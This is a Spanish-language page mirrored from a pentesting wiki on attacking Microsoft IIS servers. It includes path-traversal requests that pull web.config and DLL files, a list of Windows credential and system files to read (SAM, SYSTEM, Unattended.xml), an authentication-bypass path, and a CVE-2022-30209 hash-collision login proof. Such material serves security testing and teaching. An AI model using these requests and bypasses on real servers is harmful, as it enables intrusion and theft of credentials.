mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-25 11:25:13 +00:00
400 lines
22 KiB
Markdown
400 lines
22 KiB
Markdown
|
# IIS - Servicios de Información de Internet
|
||
|
|
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
|
||
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
* Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
|
||
|
|
</details>
|
||
|
|
|
||
|
|
Prueba las extensiones de archivo ejecutables:
|
||
|
|
|
||
|
|
* asp
|
||
|
|
* aspx
|
||
|
|
* config
|
||
|
|
* php
|
||
|
|
|
||
|
|
## Divulgación de la dirección IP interna
|
||
|
|
|
||
|
|
En cualquier servidor IIS donde obtengas un 302, puedes intentar eliminar la cabecera Host y usar HTTP/1.0 y dentro de la respuesta, la cabecera Location podría apuntarte a la dirección IP interna:
|
||
|
|
```
|
||
|
|
nc -v domain.com 80
|
||
|
|
openssl s_client -connect domain.com:443
|
||
|
|
```
|
||
|
|
Respuesta que revela la dirección IP interna:
|
||
|
|
```
|
||
|
|
GET / HTTP/1.0
|
||
|
|
|
||
|
|
HTTP/1.1 302 Moved Temporarily
|
||
|
|
Cache-Control: no-cache
|
||
|
|
Pragma: no-cache
|
||
|
|
Location: https://192.168.5.237/owa/
|
||
|
|
Server: Microsoft-IIS/10.0
|
||
|
|
X-FEServer: NHEXCHANGE2016
|
||
|
|
```
|
||
|
|
## Ejecutar archivos .config
|
||
|
|
|
||
|
|
Puede cargar archivos .config y usarlos para ejecutar código. Una forma de hacerlo es agregar el código al final del archivo dentro de un comentario HTML: [Descargar ejemplo aquí](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||
|
|
|
||
|
|
Más información y técnicas para explotar esta vulnerabilidad [aquí](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||
|
|
|
||
|
|
## Fuerza bruta de descubrimiento de IIS
|
||
|
|
|
||
|
|
Descargue la lista que he creado:
|
||
|
|
|
||
|
|
{% file src="../../.gitbook/assets/iisfinal.txt" %}
|
||
|
|
|
||
|
|
Se creó fusionando el contenido de las siguientes listas:
|
||
|
|
|
||
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
||
|
|
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
||
|
|
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
|
||
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
|
||
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||
|
|
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||
|
|
|
||
|
|
Úselo sin agregar ninguna extensión, los archivos que lo necesitan ya la tienen.
|
||
|
|
|
||
|
|
## Traversal de ruta
|
||
|
|
|
||
|
|
### Fuga de código fuente
|
||
|
|
|
||
|
|
{% hint style="info" %}
|
||
|
|
En resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde se encuentran los ejecutables** y descargarlos.\
|
||
|
|
A partir de los **Dlls descargados**, también es posible encontrar **nuevos espacios de nombres** donde se debe intentar acceder y obtener el archivo web.config para encontrar nuevos espacios de nombres y assemblyIdentity.\
|
||
|
|
Además, los archivos **connectionstrings.config** y **global.asax** pueden contener información interesante.\
|
||
|
|
Referencia: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||
|
|
{% endhint %}
|
||
|
|
|
||
|
|
Como cualquier aplicación .Net, las aplicaciones MVC tienen un archivo **web.config**, donde las etiquetas XML "**assemblyIdentity**" identifican cada archivo binario que utiliza la aplicación.
|
||
|
|
```markup
|
||
|
|
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||
|
|
Host: example-mvc-application.minded
|
||
|
|
[...]
|
||
|
|
|
||
|
|
HTTP/1.1 200 OK
|
||
|
|
[...]
|
||
|
|
<?xml version="1.0" encoding="utf-8"?>
|
||
|
|
<configuration>
|
||
|
|
<configSections>
|
||
|
|
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
|
||
|
|
</configSections>
|
||
|
|
<appSettings>
|
||
|
|
<add key="webpages:Version" value="3.0.0.0" />
|
||
|
|
<add key="webpages:Enabled" value="false" />
|
||
|
|
<add key="ClientValidationEnabled" value="true" />
|
||
|
|
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
|
||
|
|
</appSettings>
|
||
|
|
<system.web>
|
||
|
|
<authentication mode="None" />
|
||
|
|
<compilation debug="true" targetFramework="4.6.1" />
|
||
|
|
<httpRuntime targetFramework="4.6.1" />
|
||
|
|
</system.web>
|
||
|
|
<system.webServer>
|
||
|
|
<modules>
|
||
|
|
<remove name="FormsAuthentication" />
|
||
|
|
</modules>
|
||
|
|
</system.webServer>
|
||
|
|
<runtime>
|
||
|
|
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
|
||
|
|
<dependentAssembly>
|
||
|
|
<assemblyIdentity name="Microsoft.Owin.Security" />
|
||
|
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||
|
|
</dependentAssembly>
|
||
|
|
<dependentAssembly>
|
||
|
|
<assemblyIdentity name="Microsoft.Owin.Security.OAuth" />
|
||
|
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||
|
|
</dependentAssembly>
|
||
|
|
<dependentAssembly>
|
||
|
|
<assemblyIdentity name="Microsoft.Owin.Security.Cookies" />
|
||
|
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||
|
|
</dependentAssembly>
|
||
|
|
<dependentAssembly>
|
||
|
|
<assemblyIdentity name="Microsoft.Owin" />
|
||
|
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||
|
|
</dependentAssembly>
|
||
|
|
<dependentAssembly>
|
||
|
|
<assemblyIdentity name="Newtonsoft.Json" culture="neutral" />
|
||
|
|
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
|
||
|
|
</dependentAssembly>
|
||
|
|
<dependentAssembly>
|
||
|
|
<assemblyIdentity name="System.Web.Optimization" />
|
||
|
|
<bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
|
||
|
|
</dependentAssembly>
|
||
|
|
<dependentAssembly>
|
||
|
|
<assemblyIdentity name="WebGrease" />
|
||
|
|
<bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
|
||
|
|
</dependentAssembly>
|
||
|
|
<dependentAssembly>
|
||
|
|
<assemblyIdentity name="System.Web.Helpers" />
|
||
|
|
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
|
||
|
|
</dependentAssembly>
|
||
|
|
<dependentAssembly>
|
||
|
|
<assemblyIdentity name="System.Web.Mvc" />
|
||
|
|
<bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
|
||
|
|
</dependentAssembly>
|
||
|
|
<dependentAssembly>
|
||
|
|
<assemblyIdentity name="System.Web.WebPages" />
|
||
|
|
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
|
||
|
|
</dependentAssembly>
|
||
|
|
</assemblyBinding>
|
||
|
|
```
|
||
|
|
En la salida anterior se pueden encontrar varias referencias a "**assemblyIdentity**". Estos son archivos que pueden estar ubicados dentro de la carpeta /bin. Por ejemplo: **/bin/WebGrease.dll**.
|
||
|
|
|
||
|
|
Otros archivos que podrían encontrarse en el directorio raíz de una aplicación .Net son **/global.asax**.
|
||
|
|
```markup
|
||
|
|
<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>
|
||
|
|
```
|
||
|
|
Y **/connectionstrings.config**
|
||
|
|
|
||
|
|
**Nota: este archivo contiene contraseñas!**
|
||
|
|
```markup
|
||
|
|
<connectionStrings>
|
||
|
|
<add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
|
||
|
|
</connectionStrings>
|
||
|
|
```
|
||
|
|
**Espacios de nombres**
|
||
|
|
|
||
|
|
Además, las aplicaciones .Net MVC están estructuradas para definir **otros archivos web.config**, con el objetivo de incluir cualquier declaración para espacios de nombres específicos para cada conjunto de páginas de vista, aliviando a los desarrolladores de declarar espacios de nombres "@using" en cada archivo.
|
||
|
|
```markup
|
||
|
|
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||
|
|
Host: example-mvc-application.minded
|
||
|
|
[...]
|
||
|
|
|
||
|
|
HTTP/1.1 200 OK
|
||
|
|
[...]
|
||
|
|
<?xml version="1.0"?>
|
||
|
|
<configuration>
|
||
|
|
<configSections>
|
||
|
|
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
|
||
|
|
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
||
|
|
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
||
|
|
</sectionGroup>
|
||
|
|
</configSections>
|
||
|
|
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
|
||
|
|
<namespaces>
|
||
|
|
<add namespace="System.Web.Mvc" />
|
||
|
|
<add namespace="System.Web.Mvc.Ajax" />
|
||
|
|
<add namespace="System.Web.Mvc.Html" />
|
||
|
|
<add namespace="System.Web.Optimization"/>
|
||
|
|
<add namespace="System.Web.Routing" />
|
||
|
|
<add namespace="WebApplication1" />
|
||
|
|
```
|
||
|
|
**Descarga de DLLs**
|
||
|
|
|
||
|
|
A partir de una respuesta anterior, la declaración de un **namespace personalizado** (ya que otros namespaces son predeterminados) sugiere que una DLL llamada "**WebApplication1**" está presente en el directorio /bin.
|
||
|
|
```
|
||
|
|
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||
|
|
Host: example-mvc-application.minded
|
||
|
|
[...]
|
||
|
|
```
|
||
|
|
Del resultado anterior, dentro del directorio /bin también se pueden encontrar los siguientes Dlls:
|
||
|
|
|
||
|
|
* System.Web.Mvc.dll
|
||
|
|
* System.Web.Mvc.Ajax.dll
|
||
|
|
* System.Web.Mvc.Html.dll
|
||
|
|
* System.Web.Optimization.dll
|
||
|
|
* System.Web.Routing.dll
|
||
|
|
|
||
|
|
Supongamos que el DLL anterior está importando un espacio de nombres llamado **WebApplication1.Areas.Minded.** un atacante puede inferir que otros archivos web.config están presentes en la aplicación, en rutas predecibles / por defecto como **/area-name/Views/**, que contienen configuraciones específicas que pueden referirse a otros archivos DLL presentes en la carpeta /bin.
|
||
|
|
```markup
|
||
|
|
GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
|
||
|
|
Host: example-mvc-application.minded
|
||
|
|
[...]
|
||
|
|
|
||
|
|
HTTP/1.1 200 OK
|
||
|
|
[...]
|
||
|
|
<?xml version="1.0"?>
|
||
|
|
<configuration>
|
||
|
|
<configSections>
|
||
|
|
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
|
||
|
|
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
||
|
|
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
|
||
|
|
</sectionGroup>
|
||
|
|
</configSections>
|
||
|
|
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
|
||
|
|
<pages pageBaseType="System.Web.Mvc.WebViewPage">
|
||
|
|
<namespaces>
|
||
|
|
<add namespace="System.Web.Mvc" />
|
||
|
|
<add namespace="System.Web.Mvc.Ajax" />
|
||
|
|
<add namespace="System.Web.Mvc.Html" />
|
||
|
|
<add namespace="System.Web.Routing" />
|
||
|
|
<add namespace="System.Web.Optimization" />
|
||
|
|
<add namespace="WebApplication1" />
|
||
|
|
<add namespace="WebApplication1.AdditionalFeatures" />
|
||
|
|
</namespaces>
|
||
|
|
```
|
||
|
|
Observa cómo en la salida anterior se puede ver un nuevo espacio de nombres llamado: **WebApplication1.AdditionalFeatures**, lo que indica que hay otro archivo Dll en la carpeta /bin llamado **WebApplication1.AdditionalFeatures.dll**
|
||
|
|
|
||
|
|
### Archivos comunes
|
||
|
|
|
||
|
|
Desde [aquí](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||
|
|
```
|
||
|
|
C:\Apache\conf\httpd.conf
|
||
|
|
C:\Apache\logs\access.log
|
||
|
|
C:\Apache\logs\error.log
|
||
|
|
C:\Apache2\conf\httpd.conf
|
||
|
|
C:\Apache2\logs\access.log
|
||
|
|
C:\Apache2\logs\error.log
|
||
|
|
C:\Apache22\conf\httpd.conf
|
||
|
|
C:\Apache22\logs\access.log
|
||
|
|
C:\Apache22\logs\error.log
|
||
|
|
C:\Apache24\conf\httpd.conf
|
||
|
|
C:\Apache24\logs\access.log
|
||
|
|
C:\Apache24\logs\error.log
|
||
|
|
C:\Documents and Settings\Administrator\NTUser.dat
|
||
|
|
C:\php\php.ini
|
||
|
|
C:\php4\php.ini
|
||
|
|
C:\php5\php.ini
|
||
|
|
C:\php7\php.ini
|
||
|
|
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
|
||
|
|
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
|
||
|
|
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
|
||
|
|
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
|
||
|
|
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
|
||
|
|
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
|
||
|
|
c:\Program Files (x86)\php\php.ini"
|
||
|
|
C:\Program Files\Apache Group\Apache\conf\httpd.conf
|
||
|
|
C:\Program Files\Apache Group\Apache\conf\logs\access.log
|
||
|
|
C:\Program Files\Apache Group\Apache\conf\logs\error.log
|
||
|
|
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
|
||
|
|
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
|
||
|
|
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
|
||
|
|
C:\Program Files\FileZilla Server\FileZilla Server.xml
|
||
|
|
C:\Program Files\MySQL\my.cnf
|
||
|
|
C:\Program Files\MySQL\my.ini
|
||
|
|
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
|
||
|
|
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
|
||
|
|
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
|
||
|
|
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
|
||
|
|
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
|
||
|
|
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
|
||
|
|
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
|
||
|
|
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
|
||
|
|
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
|
||
|
|
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
|
||
|
|
C:\Program Files\php\php.ini
|
||
|
|
C:\Users\Administrator\NTUser.dat
|
||
|
|
C:\Windows\debug\NetSetup.LOG
|
||
|
|
C:\Windows\Panther\Unattend\Unattended.xml
|
||
|
|
C:\Windows\Panther\Unattended.xml
|
||
|
|
C:\Windows\php.ini
|
||
|
|
C:\Windows\repair\SAM
|
||
|
|
C:\Windows\repair\system
|
||
|
|
C:\Windows\System32\config\AppEvent.evt
|
||
|
|
C:\Windows\System32\config\RegBack\SAM
|
||
|
|
C:\Windows\System32\config\RegBack\system
|
||
|
|
C:\Windows\System32\config\SAM
|
||
|
|
C:\Windows\System32\config\SecEvent.evt
|
||
|
|
C:\Windows\System32\config\SysEvent.evt
|
||
|
|
C:\Windows\System32\config\SYSTEM
|
||
|
|
C:\Windows\System32\drivers\etc\hosts
|
||
|
|
C:\Windows\System32\winevt\Logs\Application.evtx
|
||
|
|
C:\Windows\System32\winevt\Logs\Security.evtx
|
||
|
|
C:\Windows\System32\winevt\Logs\System.evtx
|
||
|
|
C:\Windows\win.ini
|
||
|
|
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
||
|
|
C:\xampp\apache\conf\httpd.conf
|
||
|
|
C:\xampp\apache\logs\access.log
|
||
|
|
C:\xampp\apache\logs\error.log
|
||
|
|
C:\xampp\FileZillaFTP\FileZilla Server.xml
|
||
|
|
C:\xampp\MercuryMail\MERCURY.INI
|
||
|
|
C:\xampp\mysql\bin\my.ini
|
||
|
|
C:\xampp\php\php.ini
|
||
|
|
C:\xampp\security\webdav.htpasswd
|
||
|
|
C:\xampp\sendmail\sendmail.ini
|
||
|
|
C:\xampp\tomcat\conf\server.xml
|
||
|
|
```
|
||
|
|
## Error 404 de HTTPAPI 2.0
|
||
|
|
|
||
|
|
Si ves un error como el siguiente:
|
||
|
|
|
||
|
|
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png>)
|
||
|
|
|
||
|
|
Significa que el servidor **no recibió el nombre de dominio correcto** dentro del encabezado Host.\
|
||
|
|
Para acceder a la página web, puedes echar un vistazo al **Certificado SSL** proporcionado y tal vez puedas encontrar el nombre de dominio/subdominio allí. Si no está allí, es posible que necesites **forzar VHosts** hasta que encuentres el correcto.
|
||
|
|
|
||
|
|
## Viejas vulnerabilidades de IIS que vale la pena buscar
|
||
|
|
|
||
|
|
### Vulnerabilidad/Característica del carácter tilde "\~" de Microsoft IIS - Divulgación de nombre corto de archivo/carpeta
|
||
|
|
|
||
|
|
Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere autenticación básica) usando esta **técnica**.\
|
||
|
|
La principal limitación de esta técnica si el servidor es vulnerable es que **solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión** de los archivos.
|
||
|
|
|
||
|
|
Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||
|
|
|
||
|
|
.png>)
|
||
|
|
|
||
|
|
Investigación original: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
|
||
|
|
|
||
|
|
También puedes usar **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||
|
|
|
||
|
|
### Bypass de autenticación básica
|
||
|
|
|
||
|
|
**Bypass** de autenticación básica (**IIS 7.5**) intentando acceder a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
|
||
|
|
|
||
|
|
Puedes intentar **combinar** esta **vulnerabilidad** y la anterior para encontrar nuevas **carpetas** y **bypass** la autenticación.
|
||
|
|
|
||
|
|
## Depuración habilitada de ASP.NET Trace.AXD
|
||
|
|
|
||
|
|
ASP.NET incluye un modo de depuración y su archivo se llama `trace.axd`.
|
||
|
|
|
||
|
|
Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicación durante un período de tiempo.
|
||
|
|
|
||
|
|
Esta información incluye las direcciones IP de los clientes remotos, los ID de sesión, todas las cookies de solicitud y respuesta, las rutas físicas, la información del código fuente y potencialmente incluso los nombres de usuario y contraseñas.
|
||
|
|
|
||
|
|
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
## Cookie ASPXAUTH
|
||
|
|
|
||
|
|
ASPXAUTH utiliza la siguiente información:
|
||
|
|
|
||
|
|
* **`validationKey`** (cadena): clave codificada en hexadecimal para usar en la validación de firma.
|
||
|
|
* **`decryptionMethod`** (cadena): (por defecto "AES").
|
||
|
|
* **`decryptionIV`** (cadena): vector de inicialización codificado en hexadecimal (por defecto un vector de ceros).
|
||
|
|
* **`decryptionKey`** (cadena): clave codificada en hexadecimal para usar en la descifrado.
|
||
|
|
|
||
|
|
Sin embargo, algunas personas usarán los **valores predeterminados** de estos parámetros y usarán como **cookie el correo electrónico del usuario**. Por lo tanto, si puedes encontrar un sitio web que use la **misma plataforma** que está usando la cookie ASPXAUTH y **creas un usuario con el correo electrónico del usuario que deseas suplantar** en el servidor atacado, es posible que puedas usar la cookie del segundo servidor en el primero y suplantar al usuario.\
|
||
|
|
Este ataque funcionó en este [**informe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||
|
|
|
||
|
|
## Bypass de autenticación de IIS con contraseñas en caché (CVE-2022-30209) <a href="#3-iis-authentication-bypass" id="3-iis-authentication-bypass"></a>
|
||
|
|
|
||
|
|
Un error en el código **no comprobó correctamente la contraseña proporcionada por el usuario**, por lo que un atacante cuyo **hash de contraseña coincide con una clave** que ya está en la **caché** podrá iniciar sesión como ese usuario ([informe completo aquí](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)).
|
||
|
|
```python
|
||
|
|
# script for sanity check
|
||
|
|
> type test.py
|
||
|
|
def HashString(password):
|
||
|
|
j = 0
|
||
|
|
for c in map(ord, password):
|
||
|
|
j = c + (101*j)&0xffffffff
|
||
|
|
return j
|
||
|
|
|
||
|
|
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
||
|
|
|
||
|
|
# before the successful login
|
||
|
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
|
|
HTTP/1.1 401 Unauthorized
|
||
|
|
|
||
|
|
# after the successful login
|
||
|
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
|
|
HTTP/1.1 200 OK
|
||
|
|
```
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
|
||
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
|
||
|
|
</details>
|